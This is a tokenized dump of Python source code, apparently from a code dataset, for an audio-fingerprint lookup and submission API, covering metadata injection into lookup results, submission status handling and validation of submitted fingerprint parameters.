"ing", "\\u", "id", "'_", ",_", "'", "release", "\\u", "id", "'_", ",_", "'", "medium", "\\u", "position", "'_", ",_", "'", "track", "\\u", "position", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "item_", "in_", "metadata_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "el_", "in_", "el", "\\u", "recording_", "[_", "item_", "[_", "'", "record", "ing", "\\u", "id", "'_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "medium_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "track", "\\u", "count", "'_", ":_", "item_", "[_", "'", "medium", "\\u", "track", "\\u", "count", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "position", "'_", ":_", "item_", "[_", "'", "medium", "\\u", "position", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "release", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "item_", "[_", "'", "release", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "item_", "[_", "'", "release", "\\u", "title", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "item_", "[_", "'", "medium", "\\u", "format", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "medium_", "[_", "'", "format", "'_", "]_", "=_", "item_", "[_", "'", "medium", "\\u", "format", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "el_", "[_", "'", "tracks", "'_", "]_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "item_", "[_", "'", "track", "\\u", "title", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "duration", "'_", ":_", "item_", "[_", "'", "track", "\\u", "duration", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "artist", "s", "'_", ":_", "item_", "[_", "'", "track", "\\u", "artist", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "position", "'_", ":_", "item_", "[_", "'", "track", "\\u", "position", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "medium", "'_", ":_", "medium_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "inject", "\\u", "metadata_", "(_", "self_", ",_", "meta_", ",_", "result", "\\u", "map_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "el", "\\u", "result_", "=_", "result", "\\u", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "m2", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inject", "\\u", "m2_", "(_", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "recordings", "'_", "in_", "meta_", "or_", "'", "record", "ing", "ids", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inject", "\\u", "recordings", "_", "(_", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "release", "group", "s", "'_", "in_", "meta_", "or_", "'", "release", "groupid", "s", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inject", "\\u", "release", "\\u", "groups_", "(_", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'", "release", "s", "'_", "in_", "meta_", "or_", "'", "release", "ids", "'_", "in_", "meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inject", "\\u", "releases_", "(_", "meta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "inject", "\\u", "results_", "(_", "self_", ",_", "results_", ",_", "result", "\\u", "map_", ",_", "matches_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "seen_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fingerprint", "\\u", "id_", ",_", "track", "\\u", "id_", ",_", "track", "\\u", "gid_", ",_", "score_", "in_", "matches_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "track", "\\u", "id_", "in_", "seen_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "seen_", "._", "add_", "(_", "track", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "{_", "'", "id", "'_", ":_", "track", "\\u", "gid_", ",_", "'", "score", "'_", ":_", "score_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "map_", "._", "setdefault_", "(_", "track", "\\u", "id_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "seen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Look", "up", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "internal_", "(_", "self_", ",_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "\\u", "user", "\\u", "agent", "\\u", "counter_", "(_", "self_", "._", "redis_", ",_", "params_", "._", "applica", "tion", "\\u", "id_", ",_", "self_", "._", "user", "\\u", "agent_", ",_", "self_", "._", "user", "\\u", "ip_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "searcher_", "=_", "Fingerprint", "Searche", "r_", "(_", "self_", "._", "conn_", ",_", "self_", "._", "index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "searcher_", "._", "max", "\\u", "length", "\\u", "diff_", "=_", "params_", "._", "max", "\\u", "duration", "\\u", "diff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "params_", "._", "batch_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fingerprint", "s_", "=_", "params_", "._", "fingerprint", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fingerprint", "s_", "=_", "params_", "._", "fingerprint", "s_", "[_", ":_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "\\u", "matches_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", "in_", "fingerprint", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "track", "\\u", "id_", "=_", "resolve", "\\u", "track", "\\u", "gid_", "(_", "self_", "._", "conn_", ",_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "matches_", "=_", "[_", "(_", "0_", ",_", "track", "\\u", "id_", ",_", "p_", "[_", "'", "track", "\\u", "gid", "'_", "]_", ",_", "1.0_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "matches_", "=_", "searcher_", "._", "search_", "(_", "p_", "[_", "'", "fingerprint", "'_", "]_", ",_", "p_", "[_", "'", "duration", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "\\u", "matches_", "._", "append_", "(_", "matches_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "params_", "._", "batch_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "[_", "'", "fingerprint", "s", "'_", "]_", "=_", "fps_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "map_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "p_", ",_", "matches_", "in_", "zip_", "(_", "fingerprint", "s_", ",_", "all", "\\u", "matches_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fps_", "._", "append_", "(_", "{_", "'", "index", "'_", ":_", "p_", "[_", "'", "index", "'_", "]_", ",_", "'", "results", "'_", ":_", "results_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track", "\\u", "ids_", "=_", "self_", "._", "\\u", "inject", "\\u", "results_", "(_", "results_", ",_", "result", "\\u", "map_", ",_", "matches_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "\\u", "look", "up", "\\u", "counter_", "(_", "self_", "._", "redis_", ",_", "params_", "._", "applica", "tion", "\\u", "id_", ",_", "bool_", "(_", "track", "\\u", "ids_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "\"", "Look", "up", " ", "from", " ", "%", "s", ":", " ", "%", "s", "\"_", ",_", "params_", "._", "applica", "tion", "\\u", "id_", ",_", "list_", "(_", "track", "\\u", "ids_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "[_", "'", "results", "'_", "]_", "=_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "map_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "inject", "\\u", "results_", "(_", "results_", ",_", "result", "\\u", "map_", ",_", "all", "\\u", "matches_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "\\u", "look", "up", "\\u", "counter_", "(_", "self_", "._", "redis_", ",_", "params_", "._", "applica", "tion", "\\u", "id_", ",_", "bool_", "(_", "result", "\\u", "map_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "\"", "Look", "up", " ", "from", " ", "%", "s", ":", " ", "%", "s", "\"_", ",_", "params_", "._", "applica", "tion", "\\u", "id_", ",_", "result", "\\u", "map_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "params_", "._", "meta_", "and_", "result", "\\u", "map_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inject", "\\u", "metadata_", "(_", "params_", "._", "meta_", ",_", "result", "\\u", "map_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "fingerprint", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time", "\\u", "per", "\\u", "fp_", "=_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "t_", ")_", "/_", "len_", "(_", "fingerprint", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "\\u", "look", "up", "\\u", "avg", "\\u", "time_", "(_", "self_", "._", "redis_", ",_", "time", "\\u", "per", "\\u", "fp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Subm", "ission", "Status", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Subm", "ission", "Status", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "parse_", "(_", "self_", ",_", "values_", ",_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Subm", "ission", "Status", "Handle", "r", "Params_", ",_", "self_", ")_", "._", "parse_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "parse", "\\u", "client_", "(_", "values_", ",_", "conn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ids_", "=_", "values_", "._", "getlist_", "(_", "'", "id", "'_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Subm", "ission", "Status", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params", "\\u", "class_", "=_", "Subm", "ission", "Status", "Handle", "r", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Subm", "ission", "Status", "Handler_", "(_", "API", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "handle", "\\u", "internal_", "(_", "self_", ",_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "{_", "'", "subm", "ission", "s", "'_", ":_", "[_", "{_", "'", "id", "'_", ":_", "id_", ",_", "'", "status", "'_", ":_", "'", "pend", "ing", "'_", "}_", "for_", "id_", "in_", "params_", "._", "ids_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tracks_", "=_", "look", "up", "\\u", "subm", "ission", "\\u", "status_", "(_", "self_", "._", "conn_", ",_", "params_", "._", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "submission_", "in_", "response_", "[_", "'", "subm", "ission", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "submission_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track", "\\u", "gid_", "=_", "tracks_", "._", "get_", "(_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "track", "\\u", "gid_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "[_", "'", "status", "'_", "]_", "=_", "'", "import", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "[_", "'", "result", "'_", "]_", "=_", "{_", "'", "id", "'_", ":_", "track", "\\u", "gid_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Submit", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Submit", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "parse", "\\u", "user_", "(_", "self_", ",_", "values_", ",_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "account", "\\u", "apikey_", "=_", "values_", "._", "get_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "account", "\\u", "apikey_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "account", "\\u", "id_", "=_", "look", "up", "\\u", "account", "\\u", "id", "\\u", "by", "\\u", "apikey_", "(_", "conn_", ",_", "account", "\\u", "apikey_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "account", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "User", "API", "Key", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Submit", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "duration", "\\u", "and", "\\u", "format_", "(_", "self_", ",_", "p_", ",_", "values_", ",_", "suffix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "[_", "'", "duration", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "duration", "'_", "+_", "suffix_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "duration", "'_", "]_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "duration", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "p_", "[_", "'", "duration", "'_", "]_", "<=_", "0_", "or_", "p_", "[_", "'", "duration", "'_", "]_", ">_", "0x7f", "ff_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "Dur", "ation", "Error_", "(_", "'", "duration", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "format", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "filef", "ormat", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Submit", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "parse", "\\u", "submission_", "(_", "self_", ",_", "values_", ",_", "suffix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "index", "'_", "]_", "=_", "(_", "suffix_", "or_", "''_", ")_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "pu", "id", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "pu", "id", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "pu", "id", "'_", "]_", "and_", "not_", "is", "\\u", "uuid_", "(_", "p_", "[_", "'", "pu", "id", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "UU", "IDE", "rror_", "(_", "'", "pu", "id", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "foreign", "id", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "foreign", "id", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "foreign", "id", "'_", "]_", "and_", "not_", "is", "\\u", "foreign", "id_", "(_", "p_", "[_", "'", "foreign", "id", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "Fore", "ign", "IDE", "rror_", "(_", "'", "foreign", "id", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "mbid", "s", "'_", "]_", "=_", "values_", "._", "getlist_", "(_", "'", "mbid", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "mbid", "s", "'_", "]_", "and_", "not_", "all_", "(_", "map_", "(_", "is", "\\u", "uuid_", ",_", "p_", "[_", "'", "mbid", "s", "'_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "UU", "IDE", "rror_", "(_", "'", "mbid", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "parse", "\\u", "duration", "\\u", "and", "\\u", "format_", "(_", "p_", ",_", "values_", ",_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fingerprint", "\\u", "string_", "=_", "values_", "._", "get_", "(_", "'", "fingerprint", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "fingerprint", "\\u", "string_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Missing", "Parameter", "Error_", "(_", "'", "fingerprint", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "fingerprint", "'_", "]_", "=_", "decode", "\\u", "fingerprint_", "(_", "fingerprint", "\\u", "string_", "._", "encode_", "(_", "'", "ascii", "'_", ",_", "'", "ignore", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "p_", "[_", "'", "fingerprint", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "Fingerprint", "Error_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "bit", "rate", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "bit", "rate", "'_", "+_", "suffix_", ",_", "type_", "=_", "int_", ")_", "or_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "[_", "'", "bit", "rate", "'_", "]_", "is_", "not_", "None_", "and_", "p_", "[_", "'", "bit", "rate", "'_", "]_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "errors_", "._", "Inva", "lid", "Bit", "rate", "Error_", "(_", "'", "bit", "rate", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "[_", "'", "track", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "track", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "artist", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "artist", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "album", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "album", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "album", "\\u", "artist", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "album", "artist", "'_", "+_", "suffix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "track", "\\u", "no", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "track", "no", "'_", "+_", "suffix_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "disc", "\\u", "no", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "disc", "no", "'_", "+_", "suffix_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "[_", "'", "year", "'_", "]_", "=_", "values_", "._", "get_", "(_", "'", "year", "'_", "+_", "suffix_", ",_", "type_", "=_", "int_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "submissions_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Submit", "Handle", "r", "Params_", "(_", "API", "Handle", "r", "Params_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", 